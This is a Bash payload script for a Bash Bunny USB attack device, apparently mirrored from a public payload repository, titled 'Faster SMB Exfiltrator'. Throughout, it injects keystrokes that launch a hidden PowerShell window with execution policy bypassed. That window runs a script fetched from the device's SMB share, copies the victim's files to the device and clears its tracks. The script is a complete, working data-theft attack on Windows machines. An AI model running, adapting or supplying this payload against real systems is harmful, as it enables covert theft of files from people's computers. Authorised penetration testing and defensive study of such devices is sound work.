mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
93 lines
2.9 KiB
Bash
93 lines
2.9 KiB
Bash
#!/bin/bash
|
|
#
|
|
# Title: Faster SMB Exfiltrator
|
|
# Author: Hak5Darren
|
|
# Props: ImNatho, mike111b, madbuda
|
|
# Version: 1.0
|
|
# Category: Exfiltration
|
|
# Target: Windows XP SP3+ (Powershell)
|
|
# Attackmodes: HID, Ethernet
|
|
#
|
|
# Rewrite of the original SMB Exfiltrator payload with:
|
|
# - Faster copying, using robocopy multithreaded mode
|
|
# - Faster finish, using a EXFILTRATION_COMPLETE file
|
|
# - Offload logic to target PC for accurate date/time
|
|
# - Clears tracks by default without second run dialog
|
|
# - Test-Connection handling by ICMP (no lame sleeps)
|
|
# - Hidden powershell window by default
|
|
#
|
|
# LED Status
|
|
# Red Blinking.........Failed to find dependencies
|
|
# Purple Blinking......HID Stage
|
|
# Purple...............Ethernet Stage
|
|
# Blue/Purple..........Receiving Files
|
|
# White................Moving Liberated Files
|
|
# Green................Finished
|
|
#
|
|
# OPTIONS: configured from s.ps1
|
|
|
|
|
|
|
|
######## INITIALIZATION ########
|
|
# Check for impacket. If not found, blink fast red.
|
|
if [ ! -d /pentest/impacket/ ]; then
|
|
LED R 100
|
|
exit 1
|
|
fi
|
|
|
|
|
|
|
|
######## SETUP ########
|
|
# Get switch position from bunny helpers
|
|
source bunny_helpers.sh
|
|
# Make temporary loot directory
|
|
mkdir -p /loot/smb/
|
|
# Delete any old exfiltration data
|
|
rm -rf /loot/smb/*
|
|
# Copy new powershell payload to smb share
|
|
cp /root/udisk/payloads/$SWITCH_POSITION/s.ps1 /loot/smb/
|
|
# Make loot directory on USB Disk
|
|
mkdir -p /root/udisk/loot/smb_exfiltrator
|
|
# Disable ICMP/echo replies so our powershell stager doesn't attempt to access the SMB share before smbserver starts (workaround since Test-NetConnection 172.16.64.1 SMB only works on powershell 4.0+ for Windows 8+)
|
|
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
|
|
|
|
|
|
|
######## HID STAGE ########
|
|
# Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available
|
|
LED R B 500
|
|
ATTACKMODE HID
|
|
QUACK GUI r
|
|
QUACK DELAY 500
|
|
QUACK STRING "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection 172.16.64.1 -count 1) { \\\172.16.64.1\s\s.ps1; exit } }\""
|
|
QUACK ENTER
|
|
|
|
|
|
|
|
######## ETHERNET STAGE ########
|
|
LED R B
|
|
ATTACKMODE RNDIS_ETHERNET
|
|
# Start the SMB Server
|
|
/pentest/impacket/examples/smbserver.py -comment 'That Place Where I Put That Thing That Time' s /loot/smb >> /loot/smbserver.log &
|
|
# Re-enable ICMP/echo replies to trip the powershell stager
|
|
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
|
# Wait until files are done copying.
|
|
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do LED B; sleep 0.5; LED R B; sleep 0.5; done
|
|
|
|
|
|
|
|
######## CLEANUP ########
|
|
LED R G B
|
|
# Delete EXFILTRATION_COMPLETE file
|
|
rm -rf /loot/smb/EXFILTRATION_COMPLETE
|
|
# Move files to udisk loot directory
|
|
mv /loot/smb/e/* /root/udisk/loot/smb_exfiltrator
|
|
# Clean up temporary loot directory
|
|
rm -rf /loot/smb/e/*
|
|
# Sync file system
|
|
sync; sleep 1; sync
|
|
|
|
|
|
|
|
######## FINISH ########
|
|
LED G # Trap is clean |